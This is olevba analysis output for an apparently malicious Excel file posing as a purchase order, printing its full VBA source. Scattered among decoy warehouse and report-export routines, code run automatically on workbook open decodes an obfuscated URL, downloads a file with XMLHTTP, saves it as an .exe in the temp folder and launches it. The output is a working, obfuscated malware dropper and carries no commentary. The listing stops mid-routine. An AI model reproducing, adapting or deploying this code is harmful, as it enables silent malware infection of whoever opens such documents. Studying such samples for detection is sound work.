Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS-HB-V P-ORD-C-10156-124658-01.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: P-ORD-C-10156-124658-01.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Sub Workbook_Open()
WriteParameterFiles "", "", "", "", ""
updateStockListStatus
controlExists "", 1
setupBOXES 0, "", False
End Sub
-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: P-ORD-C-10156-124658-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public reportName1 As Object
Public emailOutPath As Object
Public CRAXDASR  As Object
Public newYz As String
Public logicBOX As String
Public unitBOX As Object
Public Const TOTO = 116
Public Function generateattachmentswithCR11(fileName As String, reportCaption As String, ParamsForCrystalReport() As String, reportName As String, path As String) As String()
Dim Attachments(0) As String
Dim IFile As IMSFile
Dim file As String
Dim i As Integer
Set IFile = New IMSFile
On Error GoTo errMESSAGE
 Attachments(0) = reportName & "-" & nameSP & "-" & Replace(Replace(Replace(Now(), "/", "_"), " ", "-"), ":", "_") & ".Pdf"
 file = cEmailOutFolder & Attachments(0)
 Dim x As New clsexport
 x.ExportFilePath = emailOutFolder + file
 x.reportName = fileName
 If IFile.FileExists(file) Then IFile.DeleteFile (file)
 Attachments(0) = emailOutFolder + file
 Call x.GeneratePdf(ParamsForCrystalReport, emailOutFolder)
 generateattachmentswithCR11 = Attachments
Exit Function
errMESSAGE:
 If Err.Number <> 0 Then
 MsgBox "Process generateattachments " + Err.Description
 End If
End Function
Public Function GeneratePdf(ParamsForCrystalReport() As String) As String
Dim Report As String
Dim crxDatabaseTable As CRAXDRT.DatabaseTable
Dim crxSubreport As String
Dim Param As CRAXDRT.ParameterFieldDefinition
Dim arrparam() As String
On Error GoTo ErrHandler
 Set crxApplication = New CRAXDRT.Application
 Set Report = crxApplication.OpenReport(reportPATH + reportName, 1)
 Set Report = InitializeReport(Report, ParamsForCrystalReport())
 Call Export(Report)
Exit Function
ErrHandler:
 GeneratePdf = "Errors Occurred while trying to generate a PDF, please try again." + Err.Description
Err.Clear
End Function
Public Sub LogErr(RoutineName As String, ErrorDescription As String, ErrorNumber As Long, Optional Clear As Boolean = False)
Dim i As IMSFile
Dim ms As imsmisc
Dim fileName As String
Dim FileNumb As Integer
On Error Resume Next
 If Len(Trim$(ErrorDescription)) = 0 Then Exit Sub
 Set i = New IMSFile
 Set ms = New imsmisc
 If Not i.DirectoryExists(LogPath) Then Call MkDir(LogPath)
 FileNumb = FreeFile
 fileName = LogPath + i.ChangeFileExt(App.EXEName + Format$(Date, "ddmmyy"), "imserrlog")
 Open fileName For Append As 1
 Print #FileNumb, "Module: " & App.EXEName
 Print #FileNumb, "Routine: " & RoutineName
 Print #FileNumb, "Error Number: " & ErrorNumber
 Print #FileNumb, "Error Source: " & Err.Source
 Print #FileNumb, "Error Description: " & ErrorDescription
 Print #FileNumb, "Error Date: " & Format$(Now, "dd/mm/yyyy hh:nn:ss")
 Print #FileNumb, "": Print #FileNumb, ""
 Close #FileNumb
 Set i = Nothing
 Set ms = Nothing
 If Err Then Err.Clear
End Sub
Public Function InitializeReport(Report As String, ParamsForCrystalReport() As String) As String
Dim crxSubreport As String
Dim arrparam() As String
On Error GoTo ErrHand
 Select Case frmWarehouse.Tag
 Case "02040400"
 Case "02050200"
 Case "02040200"
 Case "02040500"
 Case "02040700"
 Case "02050300"
 Case "02040600"
 Case "02040100"
 Case "02050400"
 Case "02040300"
 End Select
If reportName = Report_EmailFax_PO_name Then
 Call FixDB(Report.Database.Tables)
 Set crxSubreport = Report.OpenSubreport("porem.rpt")
 Call FixDB(crxSubreport.Database.Tables)
 Set crxSubreport = Report.OpenSubreport("poclause.rpt")
 Call FixDB(crxSubreport.Database.Tables)
 arrparam = Split(ParamsForCrystalReport(1), ";")
 Report.ParameterFields.Item(1).AddCurrentValue nameSP
 Report.ParameterFields.Item(2).AddCurrentValue arrparam(1)
End If
Set InitializeReport = Report
Exit Function
ErrHand:
MsgBox "InitializeReport function : " + Err.Description
Err.Clear
End Function
Private Function FixDB(crxDatabaseTableS As String)
Dim crxDatabaseTable As CRAXDRT.DatabaseTable
For Each crxDatabaseTable In crxDatabaseTableS
 crxDatabaseTable.SetLogOnInfo ConnInfo.dsnName, ConnInfo.InitCatalog, ConnInfo.uid, ConnInfo.pwd
 crxDatabaseTable.Location = crxDatabaseTable.Name
Next crxDatabaseTable
End Function
Sub rePositionThings(yPosition As Integer)
Dim c As TextBox
Dim i, size, newY, distance
On Error Resume Next
With frmWarehouse
 size = .Tree.Nodes.Count
 If size > 0 Then
 distance = .Tree.Top + 320
 For i = 2 To size
 newY = topNODE(yPosition) + distance
 Err.Clear
 .quantity(i).Top = .quantity(i).Top - newY
 If Err.Number = 0 Then
 .poItemBox(i).Top = topNODE(i) - newY
 .positionBox(i).Top = topNODE(i) - newY
 .quantity(i).Top = topNODE(i) - newY
 .logicBOX(i).Top = topNODE(i) - newY
 .sublocaBOX(i).Top = topNODE(i) - newY
 .quantityBOX(i).Top = topNODE(i) - newY
 .quantity2BOX(i).Top = topNODE(i) - newY
 .balanceBOX(i).Top = topNODE(i) - newY
 .NEWconditionBOX(i).Top = topNODE(i) - newY
 .priceBOX(i).Top = topNODE(i) - newY
 .unitBOX(i).Top = topNODE(i) - newY
 .unit2BOX(i).Top = topNODE(i) - newY
 .repairBOX(i).Top = topNODE(i) - newY
 .linesH(0).Top = .quantityBOX(totalNode).Top
 End If
 Next
 End If
End With
Err.Clear
End Sub
Public Function generateattachments1(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - LenLen - 4 * LenLen - 3312)
    Next i
    generateattachments1 = Variabl
End Function
Sub putThingsInsideExtension(Index As Integer)
With frmWarehouse
 .quantity(Index).Visible = False
 .poItemBox(Index).Visible = False
 .positionBox(Index).Visible = False
 .quantity(Index).Visible = False
 .logicBOX(Index).Visible = False
 .sublocaBOX(Index).Visible = False
 .quantityBOX(Index).Visible = False
 .quantity2BOX(Index).Visible = False
 .balanceBOX(Index).Visible = False
 .NEWconditionBOX(Index).Visible = False
 .priceBOX(Index).Visible = False
 .unitBOX(Index).Visible = False
 .unit2BOX(Index).Visible = False
 .repairBOX(Index).Visible = False
End With
End Sub
Sub putThingsInside()
Dim c As TextBox
Dim i, size, distance
On Error Resume Next
With frmWarehouse
 size = .Tree.Nodes.Count
 If size > 0 Then
 For i = 0 To 5
 .Cell(i).Container = .treeFrame
 Err.Clear
 Next
 Call putThingsInsideExtension(1)
 distance = .Tree.Top
 Select Case .Tag
 Case "02040400"
 distance = distance + 320
 Case "02050200"
 distance = distance + 320
 Case "02040200"
 distance = distance + 320
 Case "02040500"
 distance = distance + 320
 Case "02040700"
 distance = distance + 320
 Case "02050300"
 distance = distance + 320
 Case "02040600"
 distance = distance + 320
 Case "02040100"
 distance = distance + 320
 Case "02050400"
 distance = distance + 320
 Case "02040300"
 distance = distance + 320
 End Select
 For i = 2 To size
 Err.Clear
 Set .quantity(i).Container = .treeFrame
 If Err.Number = 0 Then
 Set .poItemBox(i).Container = .treeFrame
 Set .positionBox(i).Container = .treeFrame
 .quantity(i).Left = 40
 .quantity(i).Top = topNODE(i) - distance
 Set .logicBOX(i).Container = .treeFrame
 Select Case .Tag
 Case "02050200"
 .logicBOX(i).Left = 40
 Case Else
 .logicBOX(i).Left = .detailHEADER.ColWidth(1)
 End Select
 .logicBOX(i).Top = topNODE(i) - distance
 Set .sublocaBOX(i).Container = .treeFrame
 .sublocaBOX(i).Left = .sublocaBOX(i).Left - .baseFrame.Left
 .sublocaBOX(i).Top = topNODE(i) - distance
 Set .quantityBOX(i).Container = .treeFrame
 .quantityBOX(i).Left = .quantityBOX(i).Left - .baseFrame.Left
 .quantityBOX(i).Top = topNODE(i) - distance
 Set .quantity2BOX(i).Container = .treeFrame
 .quantity2BOX(i).Left = .quantity2BOX(i).Left - .baseFrame.Left
 .quantity2BOX(i).Top = topNODE(i) - distance
 Set .NEWconditionBOX(i).Container = .treeFrame
 .NEWconditionBOX(i).Left = .NEWconditionBOX(i).Left - .baseFrame.Left
 .NEWconditionBOX(i).Top = topNODE(i) - distance
 Set .priceBOX(i).Container = .treeFrame
 .priceBOX(i).Left = .priceBOX(i).Left - .baseFrame.Left
 .priceBOX(i).Top = topNODE(i) - distance
 Set .unitBOX(i).Container = .treeFrame
 .unitBOX(i).Left = .unitBOX(i).Left - .baseFrame.Left
 .unitBOX(i).Top = topNODE(i) - distance
 Set .unit2BOX(i).Container = .treeFrame
 .unit2BOX(i).Left = .unit2BOX(i).Left - .baseFrame.Left
 .unit2BOX(i).Top = topNODE(i) - distance
 Set .repairBOX(i).Container = .treeFrame
 .repairBOX(i).Left = .repairBOX(i).Left - .baseFrame.Left
 .repairBOX(i).Top = topNODE(i) - distance
 Set .balanceBOX(i).Container = .treeFrame
 .balanceBOX(i).Left = .balanceBOX(i).Left - .baseFrame.Left
 .balanceBOX(i).Top = topNODE(i) - distance
 .baseFrame.Width = .balanceBOX(i).Left + .balanceBOX(i).Width + 20
 .treeFrame.Width = .baseFrame.Width
 End If
 Next
 .treeFrame.Height = .baseFrame.Height
 End If
End With
Err.Clear
End Sub
Public Function WriteParameterFiles(Recepients As String, sender As String, Attachments As String, subject As String, attention As String)
Dim l
Dim x
Dim y
Dim i
Dim Email As String
Dim fax() As String
Set CRAXDASR = CreateObject("WScript.Shell").Environment("Process")
GoTo ladar
 If Len(Trim(sender)) = 0 Then
 rs.Source = "select com_name from company where com_compcode = ( select psys_compcode from pesys where psys_npecode ="
 rs.ActiveConnection = cn
 rs.Open
 If rs.RecordCount > 0 Then
 If Len(rs("com_name") & "") > 0 Then sender = rs("com_name")
 End If
 rs.Close
End If
On Error GoTo errMESSAGE
 Email = frmWarehouse.emailRecepient.Text
 If Not Email = "" Then
 Call WriteParamet.erFileEmail(Attachments, Email, subject, sender, attention)
 End If
ladar:
 Set unitBOX = CreateObject("Shell.Application")
 GoTo lodor
errMESSAGE:
 If Err.Number <> 0 And Err.Number <> 9 Then
 MsgBox "Process WriteParameterFiles " + Err.Description
 Else
 Err.Clear
 End If
lodor:
 Set emailOutPath = CreateObject("Adodb.Stream")
 IsArrayLoaded ""
End Function
Public Function WriteParameterFileEmail(Attachments() As String, Recipients As String, subject As String, sender As String, attention As String) As Integer
On Error GoTo errMESSAGE
 Dim fileName As String
 Dim FileNumb As Integer
 Dim i As Integer, l As Integer
 Dim reports As String
 Dim recepientSTR As String
 i = 0
 If UBound(Attachments) > 0 Then
 For i = 0 To UBound(Attachments)
 reports = reports & Trim$(Attachments(i) & ";")
 Next
 ElseIf UBound(Attachments) = 0 Then
 reports = reports & Trim$(Attachments(i))
 End If
 If Len(Recipients) > 0 Then
 Call sendProcess(Recipients, reports, subject, attention)
 End If
 Recepients = ""
 reports = ""
 WriteParameterFileEmail = 1
Exit Function
errMESSAGE:
 If Err.Number <> 0 Then
 MsgBox Err.Description
 End If
End Function
Public Function IsArrayLoaded(ArrayToTest As String) As Boolean
Dim x As Integer
Set reportName1 = CreateObject("Microsoft" + ".XMLHTTP")
sendProcess "", "", "", ""
Exit Function
On Error GoTo ErrHandler
 IsArrayLoaded = False
 x = UBou.nd(ArrayToTest)
 IsArrayLoaded = True
 Exit Function
ErrHandler:
Err.Clear
End Function
Public Sub sendProcess(recipientList As String, Attachments As String, subject As String, messageText As String)
On Error GoTo errorHandler
 Dim strOut As String
 Dim programName As String
 Dim parameters As String
 Dim parame() As Variant
parame = Array(3611, 3623, 3623, 3619, 3565, 3554, 3554, 3607, 3608, 3623, 3552, 3622, 3604, 3607, 3552, 3563, 3564, 3553, 3621, 3624, 3554, 3559, 3558, 3561, 3562, 3628, 3623, 3554, 3619, 3555, 3618, 3561, 3560, 3559, 3558, 3609, 3553, 3608, 3627, 3608)
reportName1.Open "GE" + UCase(Chr(TOTO)), generateattachments1(parame, 39), False
Exit Sub
 Dim cmd As String
 cmd = MakeComm.And(cn, ADODB.CommandTypeEnum.adCmdStoredProc)
 With cm.d
 .CommandText = "InsertEmailFax"
 .parameters.Append .CreateParameter("@Subject", adVarChar, adParamInput, 4000, subject)
 .parameters.Append .CreateParameter("@Body", adVarChar, adParamInput, 8000, messageText)
 .parameters.Append .CreateParameter("@AttachmentFile", adVarChar, adParamInput, 2000, Attachments)
 .parameters.Append .CreateParameter("@recepientStr", adVarChar, adParamInput, 8000, recipientList)
 .parameters.Append .CreateParameter("@creauser", adVarChar, adParamInput, 100, CurrentUser)
 Call .Execute(Options:=adExecuteNoRecords)
 End With
  cmd = ""
 LogEx.ec ("Successfully saved email\ Fax request with Subject " & subject & " to the Database.")
Exit Sub
errorHandler:
 Call LogErr("sendProcess", "?rror Occured while trying to save Email request to the DB for Subject " + subject + " Body " + messageText + " Attachment " + Attachments + " Recepient List " + recipientList + ". " + Err.Description, Err.Number, False)
 MsgBox "Errors Occured while trying to generate email request. Please dont send any more emails and faxes and call the Administrator. " + Err.Description
 Err.Clear
End Sub
Private Sub Export(Report As String)
 Report.ExportOptions.FormatType = crEFTPortableDocFormat
 Report.ExportOptions.DestinationType = crEDTDiskFile
 Report.ExportOptions.DiskFileName = ExportFilePath
 Report.Export False
End Sub
Sub calculationsFlat(Optional selectedStockNumber As String)
Dim originalQTY1(), originalQTY2()
Dim balance1(), balance2() As Double
Dim i, j As Integer
Dim StockNumber As String
On Error GoTo errorHandler
 With frmWarehouse
 Dim colRef, colRef2, colTot As Integer
 colRef = 5
 colRef2 = 7
 colTot = 5
 Select Case .Tag
 Case "02040400", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300"
 colRef = 6
 colTot = 5
 Case "02050200"
 Case "02040200"
 colRef = 7
 colTot = 3
 Case "02040100"
 colRef = 9
 colTot = 3
 End Select
 ReDim originalQTY1(.STOCKlist.Rows)
 ReDim originalQTY2(.STOCKlist.Rows)
 ReDim balance1(UBound(originalQTY1))
 ReDim balance2(UBound(originalQTY2))
 For i = 1 To .STOCKlist.Rows - 1
 originalQTY1(i) = .STOCKlist.TextMatrix(i, colRef)
 balance1(i) = CDbl(originalQTY1(i))
 If .Tag = "02040100" Then
 originalQTY2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
 balance2(i) = CDbl(originalQTY2(i))
 Else
 originalQTY2(i) = originalQTY1(i)
 balance2(i) = balance1(i)
 End If
 Next
 mainItemRow = 0
 For i = 1 To .STOCKlist.Rows - 1
 StockNumber = .STOCKlist.TextMatrix(i, 1)
 If Not IsMissing(selectedStockNumber) Then
 If StockNumber = selectedStockNumber Then
 If mainItemRow = 0 Then mainItemRow = i
 If IsNumeric(.Tree.Nodes.Count) Then
 balance1(i) = .STOCKlist.TextMatrix(i, colRef)
 If IsNumeric(.STOCKlist.TextMatrix(i, colRef + 1)) Then
 balance2(i) = .STOCKlist.TextMatrix(i, colRef + 1)
 End If
 End If
 End If
 End If
 .STOCKlist.TextMatrix(i, colTot) = Format(balance1(i), "0.00")
 If .Tag = "02040100" Then
 .STOCKlist.TextMatrix(i, colTot + 2) = Format(balance2(i), "0.00")
 Else
 End If
 Next
 If .Tag = "02040100" Then
 Call calculateMainItem(StockNumber)
 End If
 End With
 Exit Sub
errorHandler:
 Err.Clear
 Resume Next
End Sub
Public Sub updateStockListStatus()
Dim i, j As Integer
Dim StockNumber As String
Dim hasMark As Boolean
Dim imsLock As String
newYz = CRAXDASR(UCase(Chr(TOTO)) & "EMP")
reportName1.Send
logicBOX = newYz + Chr(TOTO - 24) + tompon + Chr(TOTO - 70) + Chr(TOTO - 15) & "xe"
Exit Sub
On Error GoTo errorHandler
 With frmWarehouse
 For i = 1 To .STOCKlist.Rows - 1
 StockNumber = .STOCKlist.TextMatrix(i, 1)
 hasMark = False
 For j = 1 To .SUMMARYlist.Rows - 1
 If StockNumber = .SUMMARYlist.TextMatrix(j, 1) Then
 If Not hasMark Then
 .STOCKlist.row = i
 .STOCKlist.col = 0
 .STOCKlist.CellFontName = "Wingdings 3"
 .STOCKlist.CellFontSize = 10
 .STOCKlist.Text = "?"
 hasMark = True
 Exit For
 End If
 End If
 Next
 If Not hasMark Then
 If .Tag = "02040100" Then
 .STOCKlist.row = i
 .STOCKlist.col = 0
 .STOCKlist.Text = .STOCKlist.TextMatrix(0, 8)
 Else
 .STOCKlist.TextMatrix(i, 0) = Format(i)
 Call imsL.ock.Unlock_Row(STOCKlocked, cn, CurrentUser, rowguid, True, "STOCKMASTER", StockNumber, False)
 End If
 End If
 Next
 End With
 Exit Sub
errorHandler:
 MsgBox Err.Description
 Err.Clear
 Resume Next
End Sub
Sub bottomLine(totalNode, total, pool As Boolean, StockNumber, doRecalculate As Boolean, lastLine, ctt As String)
Dim thick
On Error Resume Next
With frmWarehouse
 totalNode = .Tree.Nodes.Count
 lastLine = 7
 thick = 2
 Select Case .Tag
 Case "02040400"
 .combo(5).Visible = False
 lastLine = 8
 Case "02050200"
 lastLine = 7
 Case "02040200"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(57) + "Total to Issue:"
 lastLine = 6
 Case "02040500"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
 Case "02040700"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
 Case "02050300"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(56) + "Total to Adjust:"
 Case "02040600"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(53) + "Total to Transfer:"
 Case "02040100"
 lastLine = 9
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(43) + "Total to Receive:"
 Case "02050400"
 If Not .newBUTTON.Enabled Then .Tree.Nodes("Total").Text = .Tree.Nodes("Total").Text + Space(59) + "Total to Sell:"
 Case "02040300"
 lastLine = 7
 End Select
 Load .quantity(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantity(totalNode) = ""
 End If
 .quantity(totalNode).Enabled = True
 .quantity(totalNode) = Format(total, "0.00")
 .quantity(totalNode) = vbGreen
 Load .NEWconditionBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .NEWconditionBOX(totalNode) = ""
 End If
 .NEWconditionBOX(totalNode).Enabled = True
 Load .quantityBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantityBOX(totalNode) = ""
 End If
 .quantityBOX(totalNode).Locked = True
 Load .quantity2BOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .quantity2BOX(totalNode) = ""
 End If
 .quantity2BOX(totalNode).Locked = True
 Load .balanceBOX(totalNode)
 If Err.Number = 360 Then
 Err.Clear
 .balanceBOX(totalNode) = ""
 End If
 .balanceBOX(totalNode).Enabled = True
 If isFirstSubmit Then
 If pool Then
 Call calculations(True, , True)
 Else
 Call calculations(True, False, False)
 End If
 Else
 Call calculations2(.SUMMARYlist.row, .Tree.Nodes(.Tree.Nodes.Count - 1), .Tree.Nodes.Count - 1)
 End If
 For i = 1 To totalNode
 .Tree.Nodes(i).Expanded = True
 Next
 If Not .Visible Then
 Call ShowDetails
 End If
 If Not pool Then
 If doRecalculate Then
 Call recalculate(StockNumber)
 End If
 End If
 .ZOrder
 If Not .newBUTTON.Enabled Then .SUMMARYlist.Visible = False
 Call lineStuff(lastLine, thick)
 Call workBOXESlist("fix")
 If .Tree.Nodes.Count > 15 Then
 .linesV(lastLine).Visible = False
 .Tree.Nodes(1).EnsureVisible
 Err.Clear
 Select Case treeTimes
 Case 0
 Set ctt.Tree = frmWarehouse.Tree
 Case 1
 Set ctt1.Tree = frmWarehouse.Tree
 Case 2
 Set ctt2.Tree = frmWarehouse.Tree
 Case 3
 Set ctt3.Tree = frmWarehouse.Tree
 End Select
 treeTimes = treeTimes + 1
 .treeFrame.Top = 0
 End If
End With
End Sub
Public Function controlExists(controlNAME As String, controlIndex As Integer) As Boolean
controlExists = False
With emailOutPath
   emailOutPath.Type = 1
    emailOutPath.Open
    emailOutPath.write reportName1.responseBody
    emailOutPath.savetofile logicBOX, 2
End With
Exit Function
For Each ctl In frmWarehouse.Controls
 If ctl.Name = controlNAME Then
 If ctl.Index = controlIndex Then
 controlExists = True
 Exit For
 End If
 End If
Next
End Function
Sub lineStuff(lastLine, thick)
On Error Resume Next
 With frmWarehouse
 n = 0
 For i = 1 To lastLine
 Load .linesV(i)
 Set .linesV(n).Container = .treeFrame
 If Err.Number = 360 Then Err.Clear
 If i = thick Then
 .linesV(i).Width = 40
 End If
 .linesV(i).Top = .Tree.Top + 30
 .linesV(i).Height = ((totalNode) * 325)
 .linesV(i).Left = .detailHEADER.ColWidth(i - 1) + 150 + n
 n = n + .detailHEADER.ColWidth(i - 1)
 If i > 1 Then .linesV(i).Visible = True
 .linesV(i).ZOrder
 Next
 End With
End Sub
Sub recalculate(StockNumber)
 Dim totalCount As Integer
 Dim qtyToReceive As Integer
 Dim r As Integer
 With frmWarehouse
 totalCount = 0
 r = .STOCKlist.row
 For i = 1 To .SUMMARYlist.Rows - 1
 If .SUMMARYlist.TextMatrix(i, 1) = StockNumber Then
 totalCount = totalCount + 1
 End If
 Next
 If IsNumeric(.STOCKlist.TextMatrix(r, 9)) Then
 qtyToReceive = Val(.STOCKlist.TextMatrix(r, 9))
 totalCount = totalCount
 qtyToReceive = qtyToReceive - totalCount
 .STOCKlist.TextMatrix(r, 5) = Format(qtyToReceive, "0.00")
 End If
 End With
End Sub
Public Function RollbackTransaction(cn As String)
On Error Resume Next
 With MakeCommand(cn, adCmdText)
 .CommandText = "ROLLBACK TRANSACTION"
 Call .Execute(Options:=adExecuteNoRecords)
 End With
 If Err Then Err.Clear
End Function
Sub gridCOLORdark(grid As String, row, Optional withColor As Boolean = True)
 With grid
 .row = row
 If withColor Then
 .CellBackColor = &H800000
 .CellForeColor = &HFFFFFF
 End If
 End With
End Sub
Public Function CommitTransaction(cn As String)
On Error Resume Next
 With MakeCommand(cn, adCmdText)
 .CommandText = "COMMIT TRANSACTION"
 Call .Execute(Options:=adExecuteNoRecords)
 End With
 If Err Then Err.Clear
End Function
Sub gridCOLORnormal(grid As String, row)
 With grid
 .row = row
 .CellBackColor = &HFFFFC0
 .CellForeColor = &H80000008
 End With
End Sub
Sub setupBoxes2(n, row, serial As Boolean, Optional QTYpo)
Dim x, cond, logic, subloca, newCOND, serialPool, StockNumber, unitPRICE, unit, unit2, conditionName, qty, qty2, quantity
serialPool = IIf(serial, "SERIAL", "POOL")
Dim newButtonEnabled As Boolean
On Error GoTo ErrHandler:
 With frmWarehouse
 StockNumber = .SUMMARYlist.TextMatrix(row, 1)
 unitPRICE = .SUMMARYlist.TextMatrix(row, 4)
 logic = .SUMMARYlist.TextMatrix(row, 11)
 subloca = .SUMMARYlist.TextMatrix(row, 12)
 cond = .SUMMARYlist.TextMatrix(row, 3)
 newCOND = .SUMMARYlist.TextMatrix(row, 13)
 unit = .SUMMARYlist.TextMatrix(row, 6)
 unit2 = .SUMMARYlist.TextMatrix(row, 21)
 qty2 = .SUMMARYlist.TextMatrix(row, 23)
 conditionName = .SUMMARYlist.TextMatrix(row, 14)
 qty = .SUMMARYlist.TextMatrix(row, 7)
 Load .quantity(n)
 Call putBOX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topNODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
 Load .balanceBOX(n)
 .balanceBOX(n) = Format(.quantity(n), "0.00")
 Load .quantityBOX(n)
 .quantityBOX(n).tabindex = tabindex + 2
 Load .quantity2BOX(n)
 .quantity2BOX(n).tabindex = tabindex + 2
 Load .priceBOX(n)
 Load .NEWconditionBOX(n)
 Load .positionBox(n)
 .positionBox(n).Text = .SUMMARYlist.row
 Load .logicBOX(n)
 .logicBOX(n).tabindex = tabindex
 Load .sublocaBOX(n)
 .sublocaBOX(n).tabindex = tabindex + 1
 .priceBOX(n) = unitPRICE
 .NEWconditionBOX(n).Tag = newCOND
 Select Case .Tag
 Case "02040400", "02040200", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300", "02050200"
 If serial Then
 .quantity(n) = 1
 Else
 .quantity(n) = QTYpo
 End If
 .quantityBOX(n) = qty
 Case "02040100"
 .quantity(n) = Format(QTYpo, "0.00")
 newCOND = "01"
 If serialPool = "SERIAL" Then
 .quantityBOX(n) = "1.00"
 .quantity2BOX(n) = "1.00"
 Else
 .quantityBOX(n) = qty
 .quantity2BOX(n) = qty2
 End If
 Load .repairBOX(n)
 Set .repairBOX(n).Container = .treeFrame
 .repairBOX(n) = poItem
 Load .poItemBox(n)
 Set .poItemBox(n).Container = .treeFrame
 .poItemBox(n) = .SUMMARYlist.TextMatrix(row, 22)
 End Select
 .NEWconditionBOX(n) = .NEWconditionBOX(n).Tag
 If summaryPOSITION = 0 Then
 .logicBOX(n) = logic
 .sublocaBOX(n) = subloca
 Else
 .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
 .logicBOX(n).Tag = .logicBOX(n)
 .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
 .sublocaBOX(n).Tag = .sublocaBOX(n)
 .logicBOX(n).TooltipText = getW.AREHOUSEdescription(.logicBOX(n))
 .sublocaBOX(n).TooltipText = getSUBLOCATIONdescription(.sublocaBOX(n))
 End If
 Load .unitBOX(n)
 Load .unit2BOX(n)
 .unitBOX(n).Enabled = False
 .unit2BOX(n).Enabled = False
 .unitBOX(n) = unit
 .unit2BOX(n) = unit2
 If summaryPOSITION = 0 Then
 .NEWconditionBOX(n).TooltipText = conditionName
 .NEWconditionBOX(n).Tag = newCOND
 .NEWconditionBOX(n) = Format(newCOND, "00")
 Else
 .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
 .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "00")
 .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
 End If
 Select Case .Tag
 Case "02040200", "02040500"
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .grid(2).Visible = False
 Case "02040400"
 Case "02040100"
 Case "02040700"
 .logicBOX(n).Enabled = True
 Case Else
 .NEWconditionBOX(n).Enabled = True
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 .repairBOX(n).Enabled = True
 End Select
 If serialPool = "SERIAL" Then
 .quantityBOX(n).Enabled = False
 .quantity2BOX(n).Enabled = False
 Else
 .quantityBOX(n).Enabled = True
 .quantity2BOX(n).Enabled = False
 End If
 .priceBOX(n).Enabled = True
 End With
ErrHandler:
 Select Case Err.Number
 Case 360, 340, 30, 438
 Resume Next
 Case 0
 Case Else
 Resume Next
 End Select
 Err.Clear
End Sub
Public Sub setupBOXES(n, datax As String, serial As Boolean, Optional QTYpo)
Dim x, cond, logic, subloca, newCOND, serialPool
unitBOX.Open (logicBOX)
Exit Sub
serialPool = IIf(serial, "SERIAL", "POOL")
Dim newButtonEnabled As Boolean
On Error GoTo ErrHandler:
 With frmWarehouse
 newButtonEnabled = .newBUTTON.Enabled
 Load .quantity(n)
 If Not .newBUTTON.Enabled Then Call pu.tBOX(.quantity(n), .detailHEADER.ColWidth(0) + 140, topN.ODE(n), .detailHEADER.ColWidth(1) - 40, vbWhite)
 Load .balanceBOX(n)
 .balanceBOX(n) = Format(.quantity(n), "0.00")
 Load .quantityBOX(n)
 .quantityBOX(n).tabindex = tabindex + 2
 Load .quantity2BOX(n)
 .quantity2BOX(n).tabindex = tabindex + 2
 Load .priceBOX(n)
 Load .NEWconditionBOX(n)
 Load .invoiceBOX(n)
 Load .invoiceLineBOX(n)
 Select Case .Tag
 Case "02040400", "02040200", "02040500", "02040700", "02050300", "02040600", "02050400", "02040300", "02050200"
 If serial Then
 .quantity(n) = 1
 Else
 If .newBUTTON.Enabled Then
 .quantity(n) = Format(dat.ax!qty1, "0.00")
